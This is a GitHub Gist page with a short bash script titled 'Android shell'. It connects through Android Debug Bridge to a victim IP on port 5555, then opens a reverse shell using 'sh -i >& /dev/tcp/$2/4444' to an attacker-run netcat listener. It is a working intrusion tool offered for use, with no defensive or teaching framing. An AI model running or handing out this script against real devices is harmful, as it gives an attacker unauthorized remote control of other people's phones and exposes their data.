Created
March 30, 2021 08:09
-
-
Save seccybpre/6bdd1bc9874f32203bc82d55ec7dfcc4 to your computer and use it in GitHub Desktop.
[Android shell] #android
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # Simple reverse shell on android using Android Debug Bridge ensure you run nc -lvp 4444 on another screen first. | |
| # ./android-shell.sh victimip yourip | |
| adb connect $1:5555 | |
| adb shell sh -i >& /dev/tcp/$2/4444 0>&1 | |
| echo "[*] Should have a shell now ..... Be nice :) [*]" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment